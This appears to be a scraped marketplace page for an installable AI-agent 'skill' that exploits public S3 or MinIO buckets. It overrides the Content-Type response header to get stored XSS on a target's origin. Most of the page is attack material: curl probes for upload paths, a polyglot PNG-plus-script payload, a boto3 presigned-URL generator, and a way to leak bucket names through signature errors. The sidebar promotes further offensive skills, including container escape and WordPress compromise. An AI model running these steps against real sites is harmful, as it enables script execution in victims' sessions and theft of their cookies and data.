بنقرة واحدة
s3-minio-content-type-xss
Exploit public bucket Content-Type override for stored XSS on target origin.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
Exploit public bucket Content-Type override for stored XSS on target origin.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
Attack SAML SSO via XSW, signature strip, metadata extract.
Chain multiple vulns into critical impact attack paths.
Execute optimal kill chains for WordPress full compromise.
Escape Docker containers to host root via 5 techniques.
Catalog: 25 attacks, 18 WP, 8 CORS to match findings.
7-phase pentest pipeline from passive recon to exploitation.
| name | s3-minio-content-type-xss |
| description | Exploit public bucket Content-Type override for stored XSS on target origin. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3, awscli |
| metadata | {"tags":["recon","S3","MinIO","bucket","XSS","Content-Type","cloud","storage"],"category":"recon","related_skills":["hunt-xss","hunt-cloud-misconfig","firebase-supabase-attack","js-secrets-extraction"]} |
Exploit public cloud storage buckets (S3, MinIO, and compatible) by overriding the Content-Type response header via query parameters. When a target serves user-uploaded files from its own origin (e.g., cdn.target.com or target.com/uploads/), a successful override turns a stored HTML/JS payload into same-origin stored XSS — bypassing every upload-time validation the application performed.
?response-content-type= with a changed Content-Type.terminal tool with curl and python3.# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type
# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach
Find uploaded objects served publicly:
# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
curl -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done
# Look for S3/MinIO signatures in URLs
curl -sk "https://target.com/" | grep -oP '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'
Append the query parameter and check the response:
OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"
# Test override
curl -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type
Response interpretation:
| Response | Meaning | Action |
|---|---|---|
Content-Type: text/html | MinIO or compatible — override works anonymously | Go to Phase 3 |
Request specific response headers cannot be used for anonymous GET requests | AWS S3 — override requires signed request | Go to Phase 4 |
| No change in Content-Type | Override not supported | Check other query parameters or move on |
Upload a file containing an HTML/JS payload disguised as a valid image:
# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'
Upload through the application's normal upload flow. The app validates the PNG header and accepts it. Then serve it:
# The browser renders the file as HTML, executing the script
curl -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"
Additional MinIO override parameters to test:
| Parameter | Header Overridden |
|---|---|
response-content-type | Content-Type |
response-content-disposition | Content-Disposition |
response-cache-control | Cache-Control |
response-content-encoding | Content-Encoding |
response-content-language | Content-Language |
S3 rejects anonymous overrides. Re-sign the request with your own AWS credentials:
import boto3
from botocore.client import Config
def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
s3 = boto3.client(
"s3",
region_name=region,
endpoint_url=endpoint_url,
config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
"get_object",
Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
ExpiresIn=3600,
)
return url
# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html
If the bucket name is unknown, trigger a SignatureDoesNotMatch error by signing with a wrong host or region. The error response leaks the canonical request containing the real bucket host and region.
The XSS is same-origin only if the object URL is under the target's domain. Verify:
# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"
# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin
s3.amazonaws.com or a random storage domain, the XSS executes in an isolated origin with no access to the target's session.curl -skI "${URL}?response-content-type=text/html" returns Content-Type: text/html.hunt-xss — General XSS detection methodology and bypass tables.hunt-cloud-misconfig — Public bucket discovery and cloud storage misconfigurations.firebase-supabase-attack — Firebase/Supabase storage bucket exploitation.js-secrets-extraction — Finding bucket names and storage endpoints in JavaScript bundles.